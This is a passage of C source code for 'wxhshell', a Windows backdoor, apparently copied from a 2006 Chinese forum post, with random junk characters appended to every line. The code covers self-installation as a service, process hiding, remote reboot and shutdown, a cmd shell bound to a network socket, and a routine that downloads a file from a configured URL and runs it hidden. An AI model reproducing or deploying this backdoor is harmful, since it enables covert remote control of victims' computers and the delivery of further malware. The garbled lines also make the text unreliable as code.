      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1tw>C\  
    break; &mXJL3iN  
  } z~\a]MB  
  // 安装 ^cs:S-s  
  case 'i': { bFD vCF  
    if(Install()) @ qy n[C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @~,&E*X! .  
    else 1zqIB")s>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +m8CN(c  
    break; E!nEB(FD  
    } va 7I_J   
  // 卸载 jeXP|;#Una  
  case 'r': { C,r[H5G#  
    if(Uninstall()) a|?&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,< Zu4bww  
    else \]uD"Jqv#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #}Y$+FtO  
    break; HqC 1Dkw  
    } s\O4D*8  
  // 显示 wxhshell 所在路径 -!V+>.Oh  
  case 'p': { Hz~?"ts@;  
    char svExeFile[MAX_PATH]; . 7*k}@k  
    strcpy(svExeFile,"\n\r"); q$RJ3{Sf  
      strcat(svExeFile,ExeFile); 6Y9FU  
        send(wsh,svExeFile,strlen(svExeFile),0); ,\8F27  
    break; a@4 Z x  
    } Se~< Vpo  
  // 重启 Ck.LsL-  
  case 'b': { rH Y SS0*3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G8AT] =  
    if(Boot(REBOOT)) paCC'*bv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :x88  
    else { $]LhE:!G  
    closesocket(wsh); OD{()E?1B  
    ExitThread(0); wzX(]BG  
    } [.:SV|AF#  
    break; XK#~w:/fB  
    } h.T]J9;9  
  // 关机 q9+`pj  
  case 'd': { X% JQ_Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3<F\ 5|  
    if(Boot(SHUTDOWN)) .Z?@;2<l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0APh=Alq  
    else { ^i+ d3  
    closesocket(wsh); _C"=Hy{  
    ExitThread(0); C.]\4e  
    } 4gD;XNrV  
    break; :DWvH,{+&  
    } |z.x M>  
  // 获取shell b-!+Q)  
  case 's': { _UP =zW  
    CmdShell(wsh); c+S<U*  
    closesocket(wsh); J)o.@+Q}  
    ExitThread(0); c?(;6$A  
    break; >%6a$r~@  
  } ]cQYSN7!SY  
  // 退出 ({&\~"  
  case 'x': { Y6W#u iqk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U)v){g3w)  
    CloseIt(wsh); ?`T0zpC  
    break; |)5xmN]  
    } Z01BzIsR  
  // 离开 S2+X/YeB  
  case 'q': { ke\gzP/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "R<c  
    closesocket(wsh); 4C:-1gu7  
    WSACleanup(); LK>A C9ak<  
    exit(1); Q+<{2oVz  
    break; FT'2 J  
        } Y9<N#h#  
  } -ElK=q  
  }  {4]sJT  
v[l={am{/  
  // 提示信息 meF.`fh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,]Gi942  
} b?^CnMO  
  } U~CG(9  
WNnB s  
  return; b;;mhu  
} 6Dl]d %.  
EN2H[i+,  
// shell模块句柄 pZxuV(QP`  
int CmdShell(SOCKET sock) bT>1S2s  
{ 2|a5xTzH  
STARTUPINFO si; #3~hF)u&/  
ZeroMemory(&si,sizeof(si)); |7CFm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C(Cuk4K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f[ 'uka.U  
PROCESS_INFORMATION ProcessInfo; `/"*_AKAI  
char cmdline[]="cmd"; 57|RE5]|!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1ze\ U>  
  return 0; @LyCP4   
} x& a<u@[wa  
&"gQrBa  
// 自身启动模式 Z>l%:;H  
int StartFromService(void) pLiGky  
{ 8pXului  
typedef struct 9cqq"-$G`  
{ wH0m^?a!3  
  DWORD ExitStatus; '}5Yc,  
  DWORD PebBaseAddress; [`n)2} k  
  DWORD AffinityMask; XG!s+ShFV  
  DWORD BasePriority; :aHLr[%Mz  
  ULONG UniqueProcessId; O3JBS^;V2  
  ULONG InheritedFromUniqueProcessId; >OxSrc@A  
}   PROCESS_BASIC_INFORMATION; ).$q9G  
,&F4|{  
PROCNTQSIP NtQueryInformationProcess; sx^0*h-Qq  
-dyN Ah?=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bj`ZH~T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F1A7l"X]  
CT0 ~  
  HANDLE             hProcess; +tCNJ<S@l$  
  PROCESS_BASIC_INFORMATION pbi; S_ER^Pkg  
}K.2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 59MpHkr  
  if(NULL == hInst ) return 0; # ? _8 *?  
V44M=c7E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DG-XX.:z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]jRaR~[UN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B:]%Iu|  
PZ.q  
  if (!NtQueryInformationProcess) return 0; WKvG|YRDq  
zL@FN sYVM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tg jM@ir  
  if(!hProcess) return 0; y# iQ   
uGz>AW8a3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vuoD~=z  
.|g|X8X  
  CloseHandle(hProcess); s&)>gE\  
b?]Lx.l-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /H'F4->  
if(hProcess==NULL) return 0; [bh8Nj\E  
/^\UB fE  
HMODULE hMod; U9t-(`[j?  
char procName[255]; I&JjyR  
unsigned long cbNeeded; &UxI62[k  
mmvo >F"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,!>1A;~wT  
;) XB'  
  CloseHandle(hProcess); Hs`j6yuc9  
/'QfLW>6  
if(strstr(procName,"services")) return 1; // 以服务启动 MO%kUq|pg  
p*C|kEqk  
  return 0; // 注册表启动 ;7*R;/  
} G?dxLRy.do  
nXJG4$G  
// 主模块 We)l_>G  
int StartWxhshell(LPSTR lpCmdLine) a+=.(g  
{ DFM~jlH  
  SOCKET wsl; (N^tg8Z<  
BOOL val=TRUE; 6d{&1-@>  
  int port=0; (iJ9ekB  
  struct sockaddr_in door; 3aUWQP2  
J.Fy0W@+k4  
  if(wscfg.ws_autoins) Install(); [4 y7tjar^  
$2/v8  
port=atoi(lpCmdLine); ]L/AW  
krMO<(x+  
if(port<=0) port=wscfg.ws_port; Ba#wW E  
chakp!S=  
  WSADATA data; Vk:] aveW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .8dlf7* ,  
"pMx(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hF^y4v|5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?2nF1>1  
  door.sin_family = AF_INET; x2h5,.K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }8eu 9~   
  door.sin_port = htons(port); {?RVw`g&f  
R5& R ~1N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6DT ^:LHS  
closesocket(wsl); <5E: ,<  
return 1; _ K Ix7  
} T*{nf  
ZwOX ,D  
  if(listen(wsl,2) == INVALID_SOCKET) { bnZ~jOHl  
closesocket(wsl); bmQ-5SE  
return 1; ~-2Gx HO`  
} 9 $*O^  
  Wxhshell(wsl); bw8[L;~%_  
  WSACleanup(); 9/#?]LJ  
Xy]Pmt  
return 0; yvIzgwN%s!  
P$#{a2  
} SX]uIkw  
5j~1%~,#  
// 以NT服务方式启动 ,X}Jpi;/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wAKm]?zB>  
{ Bdr'd? u<A  
DWORD   status = 0; >K n7A  
  DWORD   specificError = 0xfffffff; &>A<{J@VL  
i_f\dkol  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !hjA   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ox%p"xuP,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (sqI:a  
  serviceStatus.dwWin32ExitCode     = 0; e#odr{2#4u  
  serviceStatus.dwServiceSpecificExitCode = 0; *!MMl]gU?  
  serviceStatus.dwCheckPoint       = 0; ?np3*;lw  
  serviceStatus.dwWaitHint       = 0; 0vZ49}mb)  
v2jpao<K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2(AuhZ>  
  if (hServiceStatusHandle==0) return; XiO~^=J  
+SNjU"x  
status = GetLastError(); gP.PyYUV  
  if (status!=NO_ERROR) Yfr4<;%  
{ b_Dd$NC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B'&QLO|  
    serviceStatus.dwCheckPoint       = 0; W2BZG(dm  
    serviceStatus.dwWaitHint       = 0; H>]A|-rG#  
    serviceStatus.dwWin32ExitCode     = status; 4o|<zn  
    serviceStatus.dwServiceSpecificExitCode = specificError; UvF5u(o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mqK}y K^P]  
    return; @!Rklhb  
  } Q.,2G7[ <  
8Z!Mad  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T#GTNk!v  
  serviceStatus.dwCheckPoint       = 0; u*$]Bx  
  serviceStatus.dwWaitHint       = 0; =K <`nF0 w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F%IvgXt5  
} fj97_Q=  
yJ4ZB/ZQ  
// 处理NT服务事件,比如:启动、停止 L*FQ`:lZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X/ lmj_v  
{ tID=I0D  
switch(fdwControl) "\+.S]~  
{ 6d(D >a  
case SERVICE_CONTROL_STOP: I8f='  
  serviceStatus.dwWin32ExitCode = 0; C`=YGyj=TL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U:0Ma 6<  
  serviceStatus.dwCheckPoint   = 0; 2ElZ&(RZJF  
  serviceStatus.dwWaitHint     = 0; 5x"eM=  
  { \}71p zw(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3X%h?DC  
  } E NrcIZ  
  return; m "96%sB  
case SERVICE_CONTROL_PAUSE: Rga *68s|&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .: k6Kg  
  break; ;EQ7kuJQ?  
case SERVICE_CONTROL_CONTINUE: x c]#8K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _< KUa\  
  break; =&F~GC Z>  
case SERVICE_CONTROL_INTERROGATE: RPdFLC/  
  break; :%>)S  
}; )4TP{tp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E[cH/Rm  
} u|cP&^S  
Eh*(N(`  
// 标准应用程序主函数 jG{OLF6 !  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NfWL3"&X  
{ bTt1yO  
F*T$n"^  
// 获取操作系统版本 ]\y]8v5(  
OsIsNt=GetOsVer(); (H8JV1J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i1S cXKO  
[1nUq!uTm  
  // 从命令行安装 Mc&Fj1h5  
  if(strpbrk(lpCmdLine,"iI")) Install(); J7Mbv2D  
IN75zn*%  
  // 下载执行文件 )|/%]@` N  
if(wscfg.ws_downexe) { g`C\pdX"B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V8#NXU g<!  
  WinExec(wscfg.ws_filenam,SW_HIDE); oFGWI#]ts>  
} >a&IFi,j  
iK=QP+^VN  
if(!OsIsNt) { qOy0QZ#0  
// 如果时win9x,隐藏进程并且设置为注册表启动 [ eb k u_  
HideProc(); pI_dV44W  
StartWxhshell(lpCmdLine); L{rd',  
} W{c Z7$d  
else GVhy }0|  
  if(StartFromService()) ]!j%Ad  
  // 以服务方式启动 RO@=&3s  
  StartServiceCtrlDispatcher(DispatchTable); m%=*3gH]&  
else y,/i3^y#_  
  // 普通方式启动 ]GO=8$Z  
  StartWxhshell(lpCmdLine); [+_>g4M~%  
"n_X4e+18P  
return 0; v-BQ>-&s  
}
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只看该作者 1 发表于: 2006-10-10
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